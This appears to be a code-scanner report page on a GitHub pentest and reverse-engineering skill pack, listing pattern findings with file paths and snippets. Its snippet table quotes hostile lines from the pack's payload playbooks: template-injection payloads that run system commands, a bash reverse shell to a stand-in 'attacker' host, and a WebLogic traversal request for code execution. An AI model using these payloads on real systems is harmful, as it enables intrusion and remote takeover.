Home / zhaoxuya520 / reverse-skill
AI Slop Code RIsk Monitor

zhaoxuya520/reverse-skill

Reverse Engineering / Authorized Penetration Testing / Security Research Skill Router Pack AI-powered routing + On-demand toolchain bootstrapping + Self-evolving knowledge base Supports Claude Code, Kiro, Cursor, Cline, and other AI coding clients 逆向/渗透/安全技能路由包 - AI 自动路由 + 按需自举工具链 + 自动进化经验库 | 支持 Claude Code / Kiro / Cursor / Cline 等代码 AI 客户端

4.3 Low pattern signal View on GitHub

Maintenance and Governance Review

This report summarizes scanner evidence for zhaoxuya520/reverse-skill, a PowerShell project with 40,754 GitHub stars. SynthScan examined 149,020 lines of code across 537 source files, recording 206 pattern matches distributed across 13 syntactic categories. The legacy adjusted pattern signal is 4.3 (Low pattern signal); it is not an authorship estimate.

Use the findings to ask whether maintainers can explain intent, verify dependencies, simplify unnecessary scaffolding, and focus review effort. Risk Payload v1 adds ownership, supply-chain, over-engineering, and review-effort vectors when available. These are prompts for human verification, not probabilities, security findings, or measured maintenance costs.

4.3
Adjusted Signal
4.3
Raw Pattern Score
100%
Time Factor
2026-09-22
Last Push
40.8K
Stars
PowerShell
Language
149.0K
Lines of Code
537
Files
206
Pattern Hits
2026-10-12
Scan Date
0.04
HC Hit Rate

Risk Review · v3

Use each vector to guide manual verification of the underlying findings.

Cognitive Ownership Risk 4.5/100 · LOW

Can maintainers explain intent, assumptions, and trade-offs? 85 finding(s).

Hallucinated Dependency & Supply Chain Risk 9.6/100 · LOW

Are imports declared and package/API names verified? 41 finding(s).

Agent Over-Engineering Ratio 7.2/100 · LOW

Are wrappers, guards, and repeated structures necessary? 93 finding(s).

PR Review Velocity Impact 15.9/100 · LOW

Which changes need focused human review? 206 finding(s).

What These Metrics Mean

Adjusted Signal
Legacy pattern score normalized per 1,000 scanned lines and multiplied by the repository-level time factor. It is not an estimate of AI authorship.
Raw Pattern Score
Sum of severity- and context-weighted pattern findings before applying the time factor.
Time Factor
A coarse multiplier based on repository last-push metadata. It does not identify when individual code was written.
Pattern Hits
Count of configured pattern findings. Review each location and surrounding code before acting.
HC Hit Rate
High- and critical-severity findings per scanned file. Severity is a configured detector weight, not proof of a vulnerability or authorship.
Lines / Files
Scan coverage denominators used by the legacy normalized score.

Pattern-Signal History

This chart tracks the legacy adjusted pattern score across scan runs. Changes can reflect source changes, scan coverage, or detector/scoring versions; they do not measure AI adoption or prove that a team refactored code. Compare runs only when their scoring versions are compatible. The dashed line tracks the raw pattern-hit count.

Severity Breakdown

Groups findings by configured severity weight. Severity is not a confidence estimate, security rating, or proof that a package is missing. Verify imports against the project's manifests and inspect each finding in its local design context.

CRITICAL 20HIGH 1MEDIUM 62LOW 123

Directory Score Breakdown

This horizontal bar chart shows where configured pattern scores accumulate across directories. Treat the bars as locations to inspect, not as evidence of authorship or code quality. Use the file-level findings to decide whether a directory needs a focused ownership, dependency, complexity, or review check.

Pattern Findings

The scanner identified 206 distinct pattern matches across 13 syntactic categories. Each entry below represents a discrete location in the source code where the engine recorded a detector match to inspect in context. Expand any category row to inspect the individual file paths, line numbers, code snippets, and the lexical context (CODE, COMMENT, or STRING) in which each match was detected.

Reading the findings table: The Severity column indicates the configured finding weight (CRITICAL / HIGH / MEDIUM / LOW). The Context column identifies whether the match occurred inside executable code, an inline comment, or a string literal — legacy comment-context matches receive a ×1.5 score weight. The ⚡ bolt icon marks clustered matches: three or more patterns within a 10-line window, each receiving an additional ×1.5 density multiplier under the legacy scoring model.

Hallucination Indicators20 hits · 275 pts
SeverityFileLineSnippetContext
CRITICAL…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java831 var highlight = burp.api.montoya.core.HighlightColor.highlightColor(color);CODE
CRITICAL⚡…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1463 httpHandlerRegistration = api.http().registerHttpHandler(new burp.api.montoya.http.handler.HttpHandler()CODE
CRITICAL⚡…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1467 return burp.api.montoya.http.handler.RequestToBeSentAction.continueWith(m); }CODE
CRITICAL⚡…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1468 public burp.api.montoya.http.handler.ResponseReceivedAction handleHttpResponseReceived(burp.api.montCODE
CRITICAL…s/pentest-tools/src-hunter/references/playbooks/rce.md1180GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSessioCODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3372${self.module.cache.util.os.popen("id").read()}CODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3373${self.module.cache.util.os.popen("whoami").read()}CODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3374${self.module.cache.util.os.system("id")}CODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3390${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}CODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3398${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL⚡…s/pentest-tools/src-hunter/references/playbooks/rce.md3399${self.module.cache.util.os.popen("who"+"ami").read()}CODE
CRITICAL…st-tools/src-hunter/references/payloader/waf-bypass.md3236${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL…st-tools/src-hunter/references/payloader/waf-bypass.md3237${self.module.cache.util.os.popen("who"+"ami").read()}CODE
CRITICAL…rc-hunter/references/payloader/by-category/web/框架漏洞.md911GET /console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSessioCODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md619${self.module.cache.util.os.popen("id").read()}CODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md620${self.module.cache.util.os.popen("whoami").read()}CODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md621${self.module.cache.util.os.system("id")}CODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md645${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}CODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md655${self.module.cache.util.os.popen("i"+"d").read()}CODE
CRITICAL⚡…unter/references/payloader/by-category/web/ssti模板注入.md656${self.module.cache.util.os.popen("who"+"ami").read()}CODE
Decorative Section Separators52 hits · 170 pts
SeverityFileLineSnippetContext
MEDIUMkali/scripts/bootstrap-reverse.sh19# ─── 参数解析 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh76# ─── 辅助函数 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh351# ─── 能力安装逻辑 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh671# ─── 服务启动 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/bootstrap-reverse.sh724# ─── 主流程 ────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh18# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh30# ─── 颜色 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh44# ─── 检查权限 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh51# ─── 检查 Kali 版本 ────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh64# ─── 系统更新 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh75# ─── 安装 Kali 2026.1 新工具 ──────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh104# ─── 安装 Kali 原生 MCP ──────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh119# ─── 安装 AD/内网渗透工具 ─────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh136# ─── 安装非预装逆向工具 ───────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh164# ─── 配置 MCP 客户端 ──────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh208# ─── 刷新工具索引 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/quick-setup.sh216# ─── 输出报告 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh16# ─── 生成 Markdown ────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh45# ─── 能力状态视图 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/refresh-tool-index.sh149# ─── 生成 JSON ─────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh7# ─── 配置（根据你的实际安装修改） ─────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/ida-start.sh15# ─── 检查 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡kali/scripts/ida-start.sh29# ─── 杀掉旧进程 ───────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡kali/scripts/ida-start.sh34# ─── 启动服务 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡kali/scripts/ida-start.sh42# ─── 等待就绪 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh7# ─── 路径推导 ───────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh15# ─── 工具目录定义 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMkali/scripts/lib/tool-discovery.sh135# ─── 工具发现函数 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh13# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh40# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh60# ─── 绝对路径 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/radare2/scripts/recon.sh65# ─── 侦察 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh14# ─── 参数解析 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh45# ─── 工具检测与自动安装 ─────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/decode.sh66# ─── 路径计算 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/decode.sh81# ─── jadx 反编译 ──────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/decode.sh90# ─── apktool 解包 ─────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/decode.sh99# ─── 统计输出 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh16# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh59# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh86# ─── 生成 debug keystore（如果不存在） ─────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh99# ─── 路径计算 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/rebuild-sign-install.sh113# ─── 重打包 ───────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/rebuild-sign-install.sh118# ─── 对齐 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUM⚡skills/apk-reverse/scripts/rebuild-sign-install.sh123# ─── 签名 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh134# ─── 验证 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/rebuild-sign-install.sh148# ─── 安装 ─────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh15# ─── 参数 ──────────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh43# ─── 工具检测 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh61# ─── 列出设备 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh72# ─── 列出进程 ──────────────────────────────────────────────────────────────────────COMMENT
MEDIUMskills/apk-reverse/scripts/frida-run.sh83# ─── 注入执行 ──────────────────────────────────────────────────────────────────────COMMENT
Structural Annotation Overuse37 hits · 76 pts
SeverityFileLineSnippetContext
LOWskills/ida-reverse/SKILL.md249### Step 1: 启动服务器COMMENT
LOWskills/ida-reverse/SKILL.md267### Step 2: 打开文件COMMENT
LOWskills/ida-reverse/SKILL.md279### Step 3: 全局概览（含导入表硬门）COMMENT
LOW⚡skills/ida-reverse/SKILL.md295### Step 4: 深入关键函数COMMENT
LOW⚡skills/ida-reverse/SKILL.md305### Step 5: 数据流和交叉引用COMMENT
LOW⚡skills/ida-reverse/SKILL.md312### Step 6: 记录和优化COMMENT
LOW⚡skills/ida-reverse/SKILL.md318### Step 7: 输出报告COMMENT
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1957# Step 1: 记录有效TokenCOMMENT
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1960# Step 2: 等待Token过期/注销账号COMMENT
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1961# Step 3: 尝试用旧Token建立WebSocket连接COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md4645# Step 1: 污染原型COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md4648# Step 2: 等待jQuery调用 $(element).html() 或 $.html()COMMENT
LOW…c-hunter/references/payloader/by-category/web/原型链污染.md164# Step 1: 污染原型COMMENT
LOW…c-hunter/references/payloader/by-category/web/原型链污染.md167# Step 2: 等待jQuery调用 $(element).html() 或 $.html()COMMENT
LOW⚡…er/references/payloader/by-category/web/websocket安全.md372# Step 1: 记录有效TokenCOMMENT
LOW⚡…er/references/payloader/by-category/web/websocket安全.md375# Step 2: 等待Token过期/注销账号COMMENT
LOW⚡…er/references/payloader/by-category/web/websocket安全.md376# Step 3: 尝试用旧Token建立WebSocket连接COMMENT
LOW⚡skills/pentest-tools/references/msf-protocol.md41# Step 1: 先查端口COMMENT
LOW⚡skills/pentest-tools/references/msf-protocol.md44# Step 2: 启动 RPC daemon，detach=true（让它独立活着）COMMENT
LOW⚡skills/pentest-tools/references/msf-protocol.md47# Step 3: 客户端连接，detach=falseCOMMENT
LOW⚡skills/pentest-tools/references/msf-protocol.md50# Step 4: 之后再连，能看到同一批 sessionsCOMMENT
LOW⚡…atch-diff-exploit/references/patch-tuesday-workflow.md93# Step 1: MSU 是 cab 套娃，先解外层COMMENT
LOW⚡…atch-diff-exploit/references/patch-tuesday-workflow.md96# Step 2: 解里面的 .cabCOMMENT
LOW⚡…atch-diff-exploit/references/patch-tuesday-workflow.md99# Step 3: 关键文件在 amd64_microsoft-windows-{component}_*\ 下COMMENT
LOW⚡skills/reverse-engineering/patterns-ctf-3.md117# Step 1: Bypass ptrace anti-debugCOMMENT
LOW⚡skills/reverse-engineering/patterns-ctf-3.md125# Step 2: Run under strace, capture ioctl callsCOMMENT
LOW⚡skills/reverse-engineering/patterns-ctf-3.md128# Step 3: Decode timing patternsCOMMENT
LOW⚡skills/reverse-engineering/tools.md379# Step 1: XOR decodeCOMMENT
LOW⚡skills/reverse-engineering/tools.md384# Step 2: Base64 decodeCOMMENT
LOW⚡skills/reverse-engineering/tools.md387# Step 3: AES-256-CBC decrypt (same value for key and IV)COMMENT
LOWskills/field-journal/seed-006_ssrf-cloud-metadata.md59# Step 1: 获取 TokenCOMMENT
LOWskills/field-journal/seed-006_ssrf-cloud-metadata.md63# Step 2: 带 Token 请求COMMENT
LOW⚡…ills/firmware-pentest/references/emulation-and-fuzz.md94# Step 1: 注册固件到数据库COMMENT
LOW⚡…ills/firmware-pentest/references/emulation-and-fuzz.md98# Step 2: 识别架构COMMENT
LOW⚡…ills/firmware-pentest/references/emulation-and-fuzz.md103# Step 3: 把内核 + rootfs 装配成可启动 imageCOMMENT
LOW⚡…ills/firmware-pentest/references/emulation-and-fuzz.md107# Step 4: 推断网络配置（DHCP / 静态 IP）COMMENT
LOW⚡…ills/firmware-pentest/references/emulation-and-fuzz.md110# Step 5: 启动COMMENT
Excessive Try-Catch Wrapping27 hits · 34 pts
SeverityFileLineSnippetContext
LOWskills/ida-reverse/scripts/run-supervisor.py42 except Exception as exc:CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md2024 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/http-smuggling.md753 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1596 except Exception as e:CODE
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md2378 except Exception as e:CODE
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md3888 except Exception as e:CODE
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md3927 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/请求走私.md656 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1517 except Exception as e:CODE
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1556 except Exception as e:CODE
LOW…c-hunter/references/payloader/by-category/web/开放重定向.md312 except Exception as e:CODE
LOW…er/references/payloader/by-category/web/websocket安全.md446 except Exception as e:CODE
LOW…/reverse-engineering/references/ollvm-deobfuscation.md363 except Exception as e:CODE
LOWskills/scripts/bootstrap-reverse.sh514 except Exception:CODE
LOWskills/scripts/bootstrap-reverse.sh628except Exception:CODE
MEDIUMskills/scripts/consolidate_evidence.py50 print("Error: no Evidence IDs provided", file=sys.stderr)CODE
MEDIUMskills/scripts/consolidate_evidence.py55 print(f"Error: {f} not found", file=sys.stderr)CODE
LOW⚡skills/scripts/refresh-tool-index.sh250except Exception:CODE
LOW⚡skills/scripts/refresh-tool-index.sh258except Exception:CODE
LOW⚡skills/scripts/refresh-tool-index.sh264except Exception:CODE
LOW⚡skills/scripts/refresh-tool-index.sh274except Exception:CODE
LOW⚡skills/scripts/refresh-tool-index.sh282 except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh296 except Exception:CODE
LOWskills/scripts/refresh-tool-index.sh407 except Exception:CODE
MEDIUMskills/scripts/refresh-tool-index.sh277def tcp_open(port, timeout=1.0):CODE
MEDIUMskills/scripts/refresh-tool-index.sh285def mcp_http_handshake(port, timeout=3):CODE
LOWskills/diagram-generator/scripts/render_diagram.py157 except Exception as exc:CODE
Fake / Example Data18 hits · 21 pts
SeverityFileLineSnippetContext
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java387 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java443 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java737 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1195 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…-mcp-full/src/main/java/com/burpmcp/McpHttpServer.java1228 String placeholder = params.has("placeholder") ? params.get("placeholder").getAsString() : "@@";CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md741 check3: userExists(email: "test@test.com")CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1331 "email": "test@test.com"CODE
LOW…test-tools/src-hunter/references/playbooks/api-rest.md1338 "email": "test@test.com",CODE
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1352 "email": "test@test.com",CODE
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1359 "email": "test@test.com",CODE
LOW⚡…test-tools/src-hunter/references/playbooks/api-rest.md1366 "email": "test@test.com",CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md612 check3: userExists(email: "test@test.com")CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1460 "email": "test@test.com"CODE
LOW…c-hunter/references/payloader/by-category/web/api安全.md1467 "email": "test@test.com",CODE
LOW⚡…c-hunter/references/payloader/by-category/web/api安全.md1484 "email": "test@test.com",CODE
LOW⚡…c-hunter/references/payloader/by-category/web/api安全.md1491 "email": "test@test.com",CODE
LOW⚡…c-hunter/references/payloader/by-category/web/api安全.md1498 "email": "test@test.com",CODE
LOWskills/api-security/references/rest-graphql-testing.md63{"email": "user@example.com", "role": "admin", "isAdmin": true}CODE
Over-Commented Block20 hits · 20 pts
SeverityFileLineSnippetContext
LOWkali/scripts/bootstrap-reverse.sh1#!/usr/bin/env bashCOMMENT
LOWkali/scripts/quick-setup.sh1#!/usr/bin/env bashCOMMENT
LOW…pply-chain-security/references/sbom-sca-methodology.md41```COMMENT
LOW…s/pentest-tools/src-hunter/references/playbooks/rce.md1041# 清除排除类COMMENT
LOW…ls/src-hunter/references/playbooks/intranet-postexp.md1901#COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1301_验证码未一次性失效_COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md1521_利用Shiro默认密钥 + 反序列化链实现RCE_COMMENT
LOW…ools/src-hunter/references/playbooks/oauth-saml-jwt.md2321# → SSRF过滤看到target.com(白名单内)，放行COMMENT
LOW…st-tools/src-hunter/references/payloader/waf-bypass.md281> 反射绕过COMMENT
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md961# - 选择XSW攻击类型(1-8)COMMENT
LOW…rc-hunter/references/payloader/by-category/web/认证漏洞.md1441# 原理: AES-CBC加密(默认密钥) → Base64编码 → CookieCOMMENT
LOW…c-hunter/references/payloader/by-category/web/开放重定向.md261# 1. 短链接服务重定向:COMMENT
LOW…unter/references/payloader/by-category/web/缓存与cdn安全.md341> 查看邮件源码中的Received头COMMENT
LOWskills/edr-bypass-re/references/unhook-techniques.md811. 把 .asm 加入项目，启用 MASM (Custom Build Tool)COMMENT
LOWskills/pwn-chain/references/stack-pwn.md181# 0xe3afe execve("/bin/sh", r15, r12)COMMENT
LOWskills/reverse-engineering/tools-advanced.md441**Strengths:** Multi-arch support (x86, ARM, MIPS, PowerPC, PIC32), free, produces compilable C. Good for architectures COMMENT
LOWskills/reverse-engineering/platforms.md381# eBPF bytecode analysisCOMMENT
LOWskills/reverse-engineering/languages-compiled.md381```textCOMMENT
LOWskills/scripts/bootstrap-reverse.sh1#!/usr/bin/env bashCOMMENT
LOWskills/api-security/references/jwt-oauth-testing.md1# JWT + OAuth 2.0 安全测试COMMENT
Modern AI Meta-Vocabulary6 hits · 16 pts
SeverityFileLineSnippetContext
MEDIUMREADME_AI.md149 ├── attack-chain\ # Multi-stage attack-chain orchestrationCODE
MEDIUMskills/references/community-security-skills.md44| [OWASP Agentic Skills Top 10](https://owasp.org/www-project-agentic-skills-top-10/) | 恶意 skill、供应链、权限滥用、记忆投毒等 | `ops/sCODE
MEDIUM…rc-hunter/references/playbooks/llm-prompt-injection.md1# LLM / Prompt Injection / RAG / AgentCOMMENT
MEDIUM…rc-hunter/references/playbooks/llm-prompt-injection.md106### 3.4 RAG 投毒COMMENT
MEDIUM…lm-security/references/prompt-injection-methodology.md45### Level 5 — 间接注入（RAG）COMMENT
MEDIUMskills/ops/analysis-blindspot-cookbook.md30### R78 LLM hallucinationCOMMENT
Hyper-Verbose Identifiers13 hits · 13 pts
SeverityFileLineSnippetContext
LOW…rc-hunter/references/playbooks/llm-prompt-injection.md655def generate_adversarial_patch(model, target_class, patch_size=50, epochs=500):CODE
LOW…ools/src-hunter/references/playbooks/http-smuggling.md813def cache_poison_via_smuggling(host, port):CODE
LOW…rc-hunter/references/payloader/by-category/web/请求走私.md722def cache_poison_via_smuggling(host, port):CODE
LOW…rc-hunter/references/payloader/by-category/web/ai安全.md453def generate_adversarial_patch(model, target_class, patch_size=50, epochs=500):CODE
LOWskills/reverse-engineering/languages-platforms.md237def reconstruct_from_inversions(chars, inv_counts):CODE
LOWskills/scripts/verify-repository-security.py96def check_agent_entry_contract(path: str, text: str) -> list[str]:CODE
LOWskills/case-review/tests/test_review_case.py104 def test_valid_case_passes_with_hash_verification(self):CODE
LOWskills/case-review/tests/test_review_case.py114 def test_unknown_report_evidence_fails(self):CODE
LOWskills/case-review/tests/test_review_case.py133 def test_markdown_output_contains_traceability_table(self):CODE
LOWskills/case-review/tests/test_review_case.py142 def test_documented_offline_evidence_does_not_require_command(self):CODE
LOWskills/case-review/tests/test_review_case.py160 def test_strict_mode_fails_when_report_is_missing(self):CODE
LOWskills/case-review/tests/test_review_case.py168 def test_completed_workitem_status_matches_current_case_convention(self):CODE
LOWskills/case-review/tests/test_review_case.py180 def test_windows_drive_path_is_parsed_as_scope_asset(self):CODE
Deep Nesting5 hits · 5 pts
SeverityFileLineSnippetContext
LOWskills/ida-reverse/scripts/run-supervisor.py50CODE
LOWskills/ida-reverse/scripts/run-supervisor.py80CODE
LOWskills/diagram-generator/scripts/render_diagram.py75CODE
LOWskills/diagram-generator/scripts/render_diagram.py130CODE
LOWskills/case-review/scripts/review_case.py202CODE
Empty Error Handlers1 hit · 5 pts
SeverityFileLineSnippetContext
HIGHskills/ida-reverse/scripts/run-supervisor.py102except OSError:CODE
Example Usage Blocks3 hits · 4 pts
SeverityFileLineSnippetContext
LOWskills/scripts/bootstrap-reverse.sh12# Usage:COMMENT
LOWskills/scripts/case-init.sh3# Usage:COMMENT
LOWskills/scripts/case-guard.sh3# Usage:COMMENT
Unused Imports3 hits · 3 pts
SeverityFileLineSnippetContext
LOWskills/ida-reverse/scripts/run-supervisor.py7CODE
LOWskills/scripts/verify-repository-security.py8CODE
LOWskills/diagram-generator/scripts/render_diagram.py8CODE
Overly Generic Function Names1 hit · 1 pts
SeverityFileLineSnippetContext
LOWburp-mcp-full/mcp-bridge.js290async function handleRequest(msg) {CODE